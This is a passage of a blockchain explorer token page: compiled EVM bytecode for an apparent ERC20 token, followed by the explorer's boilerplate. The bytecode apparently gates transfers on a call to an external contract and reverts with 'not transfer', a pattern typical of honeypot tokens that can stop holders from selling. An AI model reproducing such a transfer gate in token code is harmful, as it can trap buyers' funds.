fffffffffffffffffff1603610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b88906117b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf79061184a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cde9190611352565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d51906118dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc09061196e565b60405180910390fd5b610dd1611023565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611a00565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eed9190611582565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f519190611352565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315611153576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663919840ad6040518163ffffffff1660e01b81526004016020604051808303816000875af11580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f9190611a4c565b905080611151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114890611ac5565b60405180910390fd5b505b565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112378261120c565b9050919050565b6112478161122c565b811461125257600080fd5b50565b6000813590506112648161123e565b92915050565b6000819050919050565b61127d8161126a565b811461128857600080fd5b50565b60008135905061129a81611274565b92915050565b600080604083850312156112b7576112b6611207565b5b60006112c585828601611255565b92505060206112d68582860161128b565b9150509250929050565b60008115159050919050565b6112f5816112e0565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611207565b5b600061133a84828501611255565b91505092915050565b61134c8161126a565b82525050565b60006020820190506113676000830184611343565b92915050565b60008060006060848603121561138657611385611207565b5b600061139486828701611255565b93505060206113a586828701611255565b92505060406113b68682870161128b565b9150509250925092565b600060ff82169050919050565b6113d6816113c0565b82525050565b60006020820190506113f160008301846113cd565b92915050565b6114008161122c565b82525050565b600060208201905061141b60008301846113f7565b92915050565b6000806040838503121561143857611437611207565b5b600061144685828601611255565b925050602061145785828601611255565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114a857607f821691505b6020821081036114bb576114ba611461565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061151d602883611160565b9150611528826114c1565b604082019050919050565b6000602082019050818103600083015261154c81611510565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061158d8261126a565b91506115988361126a565b92508282019050808211156115b0576115af611553565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115ec602083611160565b91506115f7826115b6565b602082019050919050565b6000602082019050818103600083015261161b816115df565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061167e602583611160565b915061168982611622565b604082019050919050565b600060208201905081810360008301526116ad81611671565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611710602683611160565b915061171b826116b4565b604082019050919050565b6000602082019050818103600083015261173f81611703565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117a2602483611160565b91506117ad82611746565b604082019050919050565b600060208201905081810360008301526117d181611795565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611834602283611160565b915061183f826117d8565b604082019050919050565b6000602082019050818103600083015261186381611827565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006118c6602583611160565b91506118d18261186a565b604082019050919050565b600060208201905081810360008301526118f5816118b9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611958602383611160565b9150611963826118fc565b604082019050919050565b600060208201905081810360008301526119878161194b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119ea602683611160565b91506119f58261198e565b604082019050919050565b60006020820190508181036000830152611a19816119dd565b9050919050565b611a29816112e0565b8114611a3457600080fd5b50565b600081519050611a4681611a20565b92915050565b600060208284031215611a6257611a61611207565b5b6000611a7084828501611a37565b91505092915050565b7f6e6f74207472616e736665720000000000000000000000000000000000000000600082015250565b6000611aaf600c83611160565b9150611aba82611a79565b602082019050919050565b60006020820190508181036000830152611ade81611aa2565b905091905056fea26469706673582212206d7f12eaccb97c1fc8154f73f7cb82f6b8395508cc7cb5f98797459341be889364736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.